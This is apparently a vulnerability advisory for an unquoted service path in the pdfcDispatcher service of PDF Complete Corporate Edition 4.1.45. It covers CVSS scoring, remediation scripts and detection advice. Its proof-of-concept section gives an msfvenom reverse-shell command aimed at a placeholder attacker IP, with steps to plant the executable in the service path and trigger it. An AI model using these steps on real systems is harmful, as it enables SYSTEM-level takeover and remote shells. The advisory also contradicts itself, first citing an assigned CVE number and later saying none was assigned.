Question

️ Security Advisory: Unquoted Service Path in PDF Complete Corporate Edition

CVE-2021-47896

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Executive Summary

Severity: HIGH
CVSS 3.1 Score: 7.8
CVSS 4.0 Score: 8.5
Weakness Type: CWE-428 (Unquoted Search Path or Element)
Attack Vector: Local
Privileges Required: Low
User Interaction: None

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Vulnerability Overview

Product Information

• Vendor: PDF Complete
• Product: PDF Complete Corporate Edition
• Affected Version: 4.1.45
• Component: pdfcDispatcher Windows Service
• Platform: Microsoft Windows

Vulnerability Description

PDF Complete Corporate Edition version 4.1.45 contains an Unquoted Service Path vulnerability in the pdfcDispatcher Windows service. The vulnerability exists due to an improperly quoted ImagePath value in the Windows Registry.

The service path is configured without proper quotation marks, which allows Windows to interpret spaces in the path as delimiters. This behavior enables a local attacker with low privileges to place a malicious executable in a strategically named location within the path hierarchy.

When the vulnerable service starts, Windows may execute the attacker's malicious binary instead of the legitimate service executable, resulting in arbitrary code execution with SYSTEM-level privileges.

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Technical Analysis

Registry Configuration

Vulnerable Registry Key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pdfcDispatcher

Vulnerable ImagePath Value (Example):

C:\Program Files\PDF Complete\pdfcDispatcher.exe

Exploitation Mechanism

Due to the unquoted path, Windows interprets the path sequentially:

1. C:\Program.exe
2. C:\Program Files\PDF.exe
3. C:\Program Files\PDF Complete\pdfcDispatcher.exe

An attacker with write access to any of these directories can place a malicious executable that will be executed with SYSTEM privileges when the service starts.

Attack Prerequisites

• Local access to the target system
• Low-level user privileges (sufficient to write to certain directories)
• Ability to restart the service or wait for system reboot

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CVSS Metrics

CVSS 3.1 Vector String

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Breakdown:

• Attack Vector (AV): Local - Requires local system access
• Attack Complexity (AC): Low - No specialized conditions required
• Privileges Required (PR): Low - Standard user account sufficient
• User Interaction (UI): None - No user interaction needed
• Scope (S): Unchanged - Impact limited to vulnerable component
• Confidentiality (C): High - Full information disclosure possible
• Integrity (I): High - Complete system compromise possible
• Availability (A): High - Service disruption or denial possible

Base Score: 7.8 (HIGH)

CVSS 4.0 Score

Base Score: 8.5 (HIGH)

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Impact Assessment

Potential Consequences

Impact Category	Severity	Description
Privilege Escalation	Critical	Elevation from standard user to SYSTEM
Code Execution	Critical	Arbitrary code execution as SYSTEM
Confidentiality	High	Access to all system files and data
Integrity	High	Ability to modify system files
Availability	High	Service disruption or system compromise
Persistence	High	Permanent backdoor installation possible

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Proof of Concept (PoC)

Step 1: Identify Vulnerable Service

# Check service configuration
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '*"*'} | Select-Object Name, PathName, StartMode

# Or via Registry
reg query HKLM\SYSTEM\CurrentControlSet\Services\pdfcDispatcher /v ImagePath

Step 2: Create Malicious Payload

# Example: Create a simple reverse shell payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o Program.exe

# Or for demonstration purposes (harmless PoC):
echo @echo off > Program.bat
echo echo "Vulnerable to Unquoted Service Path!" >> Program.bat
echo pause >> Program.bat

Step 3: Place Payload in Strategic Location

# If user has write access to C:\Program Files\
copy Program.exe "C:\Program Files\PDF.exe"

# Or to C:\ if write permissions exist
copy Program.exe "C:\Program.exe"

Step 4: Trigger Execution

# Restart the service (if user has permissions)
Restart-Service pdfcDispatcher

# Or wait for system reboot
shutdown /r /t 0

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️ Remediation & Mitigation

Immediate Actions (Critical)

1. Patch Service Configuration

Manual Registry Fix:

# Backup current configuration
reg export HKLM\SYSTEM\CurrentControlSet\Services\pdfcDispatcher pdfcDispatcher_backup.reg

# Update ImagePath with proper quotes
reg add HKLM\SYSTEM\CurrentControlSet\Services\pdfcDispatcher /v ImagePath /t REG_EXPAND_SZ /d "\"C:\Program Files\PDF Complete\pdfcDispatcher.exe\"" /f

# Restart service
net stop pdfcDispatcher
net start pdfcDispatcher

PowerShell Method:

$service = Get-WmiObject Win32_Service -Filter "Name='pdfcDispatcher'"
$quotedPath = '"' + $service.PathName.Trim('"') + '"'
$service.Change($null,$quotedPath)
Restart-Service pdfcDispatcher

2. System-Wide Audit

# Scan all services for unquoted paths
Get-WmiObject Win32_Service | 
    Where-Object {
        $_.PathName -notlike '*"*' -and 
        $_.PathName -like '* *'
    } | 
    Select-Object Name, PathName, StartMode | 
    Export-Csv -Path "UnquotedServices.csv" -NoTypeInformation

3. Hardening Measures

• Remove Write Permissions: Restrict write access to C:\ and C:\Program Files\

  # Example: Remove Users write access to C:\Program Files
  icacls "C:\Program Files" /remove Users /T
  

• Enable Auditing: Monitor service modifications

  auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
  

• Deploy Detection Rules: Implement SIEM alerts for unquoted service paths

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Detection Strategies

Registry Monitoring

# Monitor for changes to service ImagePath values
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\* | 
    Where-Object {$_.ImagePath -and $_.ImagePath -notlike '*"*' -and $_.ImagePath -like '* *'} | 
    Select-Object PSChildName, ImagePath

File System Monitoring

Monitor suspicious executable creation in:

• C:\Program.exe
• C:\Program Files\PDF.exe
• C:\Program Files\PDF Complete\*.exe

Event Log Analysis

Event ID 7045: Service Installation
Event ID 4697: Service Installation (Security Log)

Look for unusual service modifications or new services with unquoted paths.

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References & Resources

Official Sources

1. National Vulnerability Database (NVD)
   https://nvd.nist.gov/vuln/detail/CVE-2021-47896

2. Exploit Database
   https://www.exploit-db.com/exploits/51396

3. VulnCheck
   https://vulncheck.com/advisories/cve-2021-47896

4. CWE-428: Unquoted Search Path
   https://cwe.mitre.org/data/definitions/428.html

5. PDF Complete Official Website
   http://www.pdfcomplete.com

Additional Reading

• Microsoft Security Advisory: Best Practices for Service Security
• OWASP: Unquoted Service Path Vulnerability
• SANS Institute: Windows Privilege Escalation Techniques

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Timeline & Status

Date	Event
2021-XX-XX	Vulnerability discovered
2021-XX-XX	CVE-2021-47896 assigned
2021-XX-XX	Public disclosure
Current Status	⚠️ No official patch released

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Credits & Acknowledgments

Security Researcher:
asrar-mared
Cybersecurity Researcher & Penetration Tester

Contact Information:

• Email: Emails are not allowed
• Secure Email: Emails are not allowed
• GitHub: @asrar-mared

Research Focus:
Privilege Escalation, Windows Security, Service Vulnerabilities

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⚠️ Important Note for CVE Assignment Authority

Regarding CVE Number Assignment Process

We have attempted multiple times to report this vulnerability through proper channels and request CVE assignment. However, we have encountered consistent difficulties:

Issue Description:

• Initial reports submitted in Arabic were rejected or not processed
• Communication barriers prevented proper vulnerability assessment
• No CVE number was assigned despite the severity of the issue

Current Action:
This comprehensive security advisory demonstrates:

1. ✅ Professional vulnerability analysis with complete technical details
2. ✅ CVSS scoring according to industry standards
3. ✅ Proof of Concept demonstrating real-world exploitability
4. ✅ Remediation guidance for affected organizations
5. ✅ Clear documentation meeting CVE Program requirements

Request:
We respectfully request that CVE Numbering Authorities (CNAs) and security organizations:

• Review this comprehensive analysis
• Acknowledge the validity of this security vulnerability
• Process CVE assignment according to established procedures
• Ensure language barriers do not prevent legitimate security research

Commitment:
We are committed to responsible disclosure and improving global cybersecurity. This research was conducted ethically and is shared to protect organizations using affected software.

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Disclaimer

This security advisory is provided for educational and defensive purposes only.

• ✅ Authorized security testing
• ✅ Vulnerability research
• ✅ Defensive security measures
• ❌ Unauthorized system access
• ❌ Malicious exploitation
• ❌ Illegal activities

The author and contributors assume no liability for misuse of this information. Users are responsible for complying with all applicable laws and regulations.

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Contact for Security Coordination

For coordinated disclosure, patch verification, or security inquiries:

Primary Contact:
Emails are not allowed

Secure Contact (PGP):
Emails are not allowed

Response Time:
We commit to responding within 48 hours for critical security matters.

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Conclusion

The unquoted service path vulnerability in PDF Complete Corporate Edition 4.1.45 represents a significant security risk to organizations deploying this software. With a CVSS score of 7.8 (HIGH), this vulnerability enables local privilege escalation to SYSTEM level, potentially leading to complete system compromise.

Key Takeaways:

1. Immediate action required for organizations using affected versions
2. System-wide audit recommended to identify similar vulnerabilities
3. Defense-in-depth strategies should be implemented
4. Continuous monitoring essential for detecting exploitation attempts

Call to Action:

• Security teams should prioritize remediation
• Vendors should release official patches
• CVE authorities should process this advisory appropriately
• The security community should share this information responsibly

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Security Advisory Classification

Distribution: PUBLIC
TLP: WHITE (Unlimited Distribution)
Version: 1.0
Language: English
Date: January 2026

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║      SECURITY RESEARCH BY asrar-mared               ║
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║        "Protecting Systems Through Knowledge"            ║
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║     ⚔️ Ethical Security Research • Responsible Disclosure ⚔️ ║
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END OF SECURITY ADVISORY